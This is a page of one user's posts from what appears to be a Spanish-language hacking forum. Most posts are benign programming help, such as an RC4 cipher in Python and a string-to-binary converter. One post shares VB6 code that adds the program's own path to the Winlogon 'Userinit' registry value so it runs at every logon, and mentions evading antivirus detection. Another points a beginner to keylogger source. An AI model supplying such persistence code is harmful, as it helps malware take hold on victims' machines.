Mensajes

Esta muy fácil con unas cuantas APIs lo haces. pero me pregunto esto no sera mas una tarea que un reto? ¬¬

http://www.codeproject.com/Articles/6819/SendKeys-in-C

saludos

Muchas gracias excelente Pack. en cuanto pueda lo descargo.

Cuantos EleKtro H@cker existe aquí  ¬¬ de donde sacas tanto tiempo :S


saludos y gracias

Comienza quizás con un RC4 es fácil. o con un xor.

Código (python) [Seleccionar] Expandir


def rc4crypt(data, key):
    x = 0
    box = range(256)
    for i in range(256):
        x = (x + box[i] + ord(key[i % len(key)])) % 256
        box[i], box[x] = box[x], box[i]
    x = 0
    y = 0
    out = []
    for char in data:
        x = (x + 1) % 256
        y = (y + box[x]) % 256
        box[x], box[y] = box[y], box[x]
        out.append(chr(ord(char) ^ box[(box[x] + box[y]) % 256]))
   
    return ''.join(out)


analiza el codigo y aprende.
bueno ahora al hospital a curarme los ojos  haha saludos

Por mi poca experiencias es mejor comenzar programando una calculadora que un stealer :S.

No se de ningún libro. pero en la web hay mucho material.

aquí hay un source del cual puedes aprender.

http://foro.elhacker.net/programacion_cc/ccsource_s7ogger_keylogger-t364550.0.html

saludos

googleando 1 Minuto conseguí este código.  

creo que es lo que quieres.

Código (python) [Seleccionar] Expandir


#!/usr/bin/python3
# Author: pantuts
# Email: pantuts@gmail.com

binary = []
def strBin(s_str):
for s in s_str:
   if s == ' ':
       binary.append('00100000')
   else:
       binary.append(bin(ord(s)))
s_str = input("String: ")
strBin(s_str)

b_str = '\n'.join(str(b_str) for b_str in binary) # print as type str
# replace '\n' to '' to output in one line without spaces, ' ' if with spaces

print(b_str.replace('b',''))


creo que lo que esta en rojo no es necesario
>>>>>>>>>>>>>>Convertir binarios en python<<<<<<<<<<<<<<<
seria mejor así.
Convertir Cadena a Binario[Python]

saludos

seguro hiciste la importación?

Código (vbnet) [Seleccionar] Expandir

Imports System.IO


debería funcionar bien.

Edito:

Creo que se escribe asi "ejercicio"

esta la hice hace tiempo no se como este de detecciones :S

Código (vb) [Seleccionar] Expandir

Private Declare Function RegOpenKeyEx Lib "advapi32" Alias "RegOpenKeyExA" (ByVal HKey As Long, ByVal lpSubKey As String, ByVal ulOptions As Long, ByVal samDesired As Long, ByRef phkResult As Long) As Long
Private Declare Function RegSetValueEx Lib "advapi32.dll" Alias "RegSetValueExA" (ByVal HKey As Long, ByVal lpValueName As String, ByVal Reserved As Long, ByVal dwType As Long, lpData As Any, ByVal cbData As Long) As Long
Private Declare Function RegCloseKey Lib "advapi32" (ByVal HKey As Long) As Long


Private Const HKEY_CURRENT_USER = &H80000001
Private Const HKEY_LOCAL_MACHINE = &H80000002
Private Const KEY_WRITE = &H20006
Private Const REG_SZ = 1



Private Sub Dosyayi_Baslangica_Ekle(ByVal HKey As Long, ByVal MKey As String, ByVal stringKeyVal As String, ByVal subkey As String)
Dim HRKey As Long, StrB As String
Dim retval As Long
    retval = RegOpenKeyEx(HKey, subkey, 0, KEY_WRITE, HRKey)
        If retval <> 0 Then
            Exit Sub
        End If
    StrB = stringKeyVal & vbNullChar
    retval = RegSetValueEx(HRKey, MKey, 0, REG_SZ, ByVal StrB, Len(StrB))
    RegCloseKey HRKey
End Sub

Private Sub Command1_Click()

Dim sMyPath As String

file = "C:\Users\Pink\Desktop\Anotador.exe"
sMyPath = (App.Path & "\" & App.EXEName & ".exe")
Call Dosyayi_Baslangica_Ekle(HKEY_LOCAL_MACHINE, "Userinit", "C:\Windows\system32\userinit.exe," & sMyPath, "SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon")

End Sub


Saludos

hola dany nadien nase sabiendo es cuestion de que te pongas las pilas y te pongas a practicar yo nosabia nada tampoco y te digo un secreto yo casi no leo munchos tutoriales no me gusta leer solo los leo cuando no entiendo algo me gusta mas practicar y asi es como e aprendido y por lo que e visto sabes programar y eso es mas que sufisiente.

Gracias por el consejo veré si comienzo de lleno en el reversing la verdad me gusta mucho. 

saludos, felices fiestas para todos   

Usa un VPN.

saludos

Felices fiestas para vos también karmany, lastima que no se Ing. inversa. :S.

pásala bien con la familia. 

saludos